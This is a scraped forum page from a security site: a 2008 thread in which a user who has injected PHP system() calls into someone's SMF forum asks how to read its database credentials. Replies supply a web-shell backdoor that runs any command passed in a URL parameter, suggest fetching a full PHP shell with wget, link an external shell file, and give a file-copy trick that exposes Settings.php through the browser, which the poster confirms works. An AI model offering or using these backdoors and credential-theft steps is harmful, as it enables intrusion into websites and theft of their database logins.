Waraxe IT Security Portal
Login or Register
December 22, 2024
Menu
Home
Logout
Discussions
Forums
Members List
IRC chat
Tools
Base64 coder
MD5 hash
CRC32 checksum
ROT13 coder
SHA-1 hash
URL-decoder
Sql Char Encoder
Affiliates
y3dips ITsec
Md5 Cracker
User Manuals
AlbumNow
Content
Content
Sections
FAQ
Top
Info
Feedback
Recommend Us
Search
Journal
Your Account
User Info
Welcome, Anonymous
Nickname
Password
(Register)

Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9144

People Online:
Visitors: 99
Members: 0
Total: 99
Full disclosure
CyberDanube Security Research 20241219-0 | Authenticated Remote Code Execution in Ewon Flexy 205
Stored XSS with Filter Bypass - blogenginev3.3.8
[SYSS-2024-085]: Broadcom CA Client Automation - Improper Privilege Management (CWE-269)
[KIS-2024-07] GFI Kerio Control <= 9.4.5 Multiple HTTP Response Splitting Vulnerabilities
RansomLordNG - anti-ransomware exploit tool
APPLE-SA-12-11-2024-9 Safari 18.2
APPLE-SA-12-11-2024-8 visionOS 2.2
APPLE-SA-12-11-2024-7 tvOS 18.2
APPLE-SA-12-11-2024-6 watchOS 11.2
APPLE-SA-12-11-2024-5 macOS Ventura 13.7.2
APPLE-SA-12-11-2024-4 macOS Sonoma 14.7.2
APPLE-SA-12-11-2024-3 macOS Sequoia 15.2
APPLE-SA-12-11-2024-2 iPadOS 17.7.3
APPLE-SA-12-11-2024-1 iOS 18.2 and iPadOS 18.2
SEC Consult SA-20241211-0 :: Reflected Cross-Site Scripting in Numerix License Server Administration System Login
Log in Register Forum FAQ Memberlist Search
IT Security and Insecurity Portal

www.waraxe.us Forum Index -> Shell commands injection -> Php-Injection: Can't find config files Goto page 1, 2Next
Post new topicReply to topic View previous topic :: View next topic
Php-Injection: Can't find config files
PostPosted: Tue Dec 09, 2008 7:11 pm Reply with quote
-AO-
Advanced user
Advanced user
Joined: Jul 15, 2008
Posts: 205
Location: United States




I've got a shell with system()... The site has smf forum and normally there is a configuration file called Settings.php that has db user and pass, I found this by dll the source. So you would think this:

Code:
<? @system("ls /blah/blah/forum/"); ?>

It's there...so

<? @system("cat /blah/blah/forum/Settings.php"); ?>


but this file is showing up empty... So I don't understand where the db connection is made. I also tried this:

Code:

<? @system("find / -name '*.conf*'"); ?>
and
<? @system("find / -name '*Settings*'"); ?>


No success of finding db connection
Confused

Any ideas? Wink
View user's profile Send private message Yahoo Messenger
PostPosted: Tue Dec 09, 2008 7:33 pm Reply with quote
capt
Advanced user
Advanced user
Joined: Nov 04, 2008
Posts: 232




prolly its chmod permissions or system() commands are disabled for that user.

Try a better code use this...

btw im guessing ur editing the code in the index.php file from the admin theme manager.


Code:

<?php
if(isset($_GET['lol'])){echo "<h1>lol</h1><pre>"; system($_GET['lol']);exit;}
?>


using this...
ex. http://somesite.com/index.php?lol=command (like wget,cat,ls -la,etc)
View user's profile Send private message Visit poster's website MSN Messenger
PostPosted: Tue Dec 09, 2008 7:56 pm Reply with quote
pexli
Valuable expert
Valuable expert
Joined: May 24, 2007
Posts: 665
Location: Bulgaria




Look in the source of login.php.
View user's profile Send private message
PostPosted: Tue Dec 09, 2008 8:47 pm Reply with quote
-AO-
Advanced user
Advanced user
Joined: Jul 15, 2008
Posts: 205
Location: United States




@capt
I'm not having a problem with system() function. My code is working fine but thanks for the reply.

@Pexli
Thanks, I will try login.php Smile
View user's profile Send private message Yahoo Messenger
PostPosted: Tue Dec 09, 2008 10:55 pm Reply with quote
capt
Advanced user
Advanced user
Joined: Nov 04, 2008
Posts: 232




have u tried wgeting a php shell then? Be easier to read and have much more control over what you wanna do.
View user's profile Send private message Visit poster's website MSN Messenger
PostPosted: Tue Dec 09, 2008 11:30 pm Reply with quote
-AO-
Advanced user
Advanced user
Joined: Jul 15, 2008
Posts: 205
Location: United States




I'm not able to check to see if login.php will work because the creditials for the login isn't on this pc.

I did upload a b64 shell and it crashed the forum and was put back up later in the day. Not sure why this happened but I don't want it to happen again Laughing
http://thedefaced.org/shells/b64.txt
View user's profile Send private message Yahoo Messenger
PostPosted: Tue Dec 09, 2008 11:59 pm Reply with quote
capt
Advanced user
Advanced user
Joined: Nov 04, 2008
Posts: 232




do you have msn? I could help you upload a working shell and you can get what you want.
add me if you would like sir_boxhead@hotmail.com
View user's profile Send private message Visit poster's website MSN Messenger
PostPosted: Wed Dec 10, 2008 5:04 am Reply with quote
-AO-
Advanced user
Advanced user
Joined: Jul 15, 2008
Posts: 205
Location: United States




@Pexli
This looks to be useful in LogInOut.php
Code:

$context['default_username'] = &$_REQUEST['u'];
$context['default_password'] = '';


I see it in the source of SMF but not in the one on the server

Rolling Eyes

Where is this db connection made? Mad
View user's profile Send private message Yahoo Messenger
PostPosted: Wed Dec 10, 2008 5:57 am Reply with quote
pexli
Valuable expert
Valuable expert
Joined: May 24, 2007
Posts: 665
Location: Bulgaria




Try to read files like that

<? @readfile(/bla/bla/bla/file.php'); ?>
View user's profile Send private message
PostPosted: Wed Dec 10, 2008 6:28 am Reply with quote
-AO-
Advanced user
Advanced user
Joined: Jul 15, 2008
Posts: 205
Location: United States




@Pexli
Thanks for reply. I'm getting the same output with readfile() as cat in system() Confused

This is the code at the top of the page:
Code:

'\'' . $user_settings['passwordSalt'] . '\'')); setLoginCookie($timeout - time(), $ID_MEMBER, sha1($user_settings['passwd']


So this part of the source seems to be missing or deleted?
Code:

$context['page_title'] = $txt[34];
$context['default_username'] = &$_REQUEST['u'];
$context['default_password'] = '';
$context['never_expire'] = false;
View user's profile Send private message Yahoo Messenger
PostPosted: Wed Dec 10, 2008 10:49 am Reply with quote
pexli
Valuable expert
Valuable expert
Joined: May 24, 2007
Posts: 665
Location: Bulgaria




How about listing of all files and dir's?
View user's profile Send private message
PostPosted: Thu Dec 11, 2008 1:49 am Reply with quote
-AO-
Advanced user
Advanced user
Joined: Jul 15, 2008
Posts: 205
Location: United States




I did this with, "ls -lR" and I see everything in blah/blah/blah/forum/. This is what you mean?
View user's profile Send private message Yahoo Messenger
PostPosted: Thu Dec 11, 2008 8:43 am Reply with quote
pexli
Valuable expert
Valuable expert
Joined: May 24, 2007
Posts: 665
Location: Bulgaria




-AO- wrote:
I did this with, "ls -lR" and I see everything in blah/blah/blah/forum/. This is what you mean?


cp /bla/bla/bla/forum/Settings.php /bla/bla/bla/forum/somefile.txt

...and read settings via browser http://forum.com/forum/somefile.txt
View user's profile Send private message
PostPosted: Thu Dec 11, 2008 10:11 am Reply with quote
-AO-
Advanced user
Advanced user
Joined: Jul 15, 2008
Posts: 205
Location: United States




Code:
cp /bla/bla/bla/forum/Settings.php /bla/bla/bla/forum/somefile.txt


This worked, I can read the copied Settings.php file. Must have been some protection from reading it. Smile

Thanks a lot pexli Wink
View user's profile Send private message Yahoo Messenger
PostPosted: Thu Dec 11, 2008 11:19 am Reply with quote
pexli
Valuable expert
Valuable expert
Joined: May 24, 2007
Posts: 665
Location: Bulgaria




-AO- wrote:
Code:
cp /bla/bla/bla/forum/Settings.php /bla/bla/bla/forum/somefile.txt


This worked, I can read the copied Settings.php file. Must have been some protection from reading it. Smile

Thanks a lot pexli Wink


Good luck dude.Smile
View user's profile Send private message
Php-Injection: Can't find config files
www.waraxe.us Forum Index -> Shell commands injection
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
All times are GMT
Page 1 of 2
Goto page 1, 2Next
Post new topicReply to topic


Powered by phpBB © 2001-2008 phpBB Group



Space Raider game for Android, free download - Space Raider gameplay video - Zone Raider mobile games
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2024 Janek Vind "waraxe"
Page Generation: 0.046 Seconds